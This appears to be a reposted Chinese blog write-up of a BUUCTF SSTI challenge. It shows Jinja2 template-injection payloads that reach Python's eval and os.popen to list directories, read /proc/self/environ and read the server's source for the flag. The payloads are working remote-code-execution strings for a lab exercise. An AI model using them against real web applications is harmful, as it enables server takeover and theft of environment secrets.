Buuctf [第三章 web进阶]SSTI 20

  • 进入页面用arjun扫描一下有什么url参数
    在这里插入图片描述
  • 这道题是最基础的了
  • 直接给payload前面的payload吧
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')}}
  • 页面返回:password is wrong: app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
  • 我尝试了读取当前运行环境
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /proc/self/environ").read()')}}

在这里插入图片描述

  • 里面有个假的flag,真让人讨厌呀!
  • 读取前面app文件夹
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')}}
  • 返回:Dockerfile docker-compose.yml entrypoint.sh server.py
  • 读取server.py源码
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')}}
  • 得到flag~~~~

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/115004845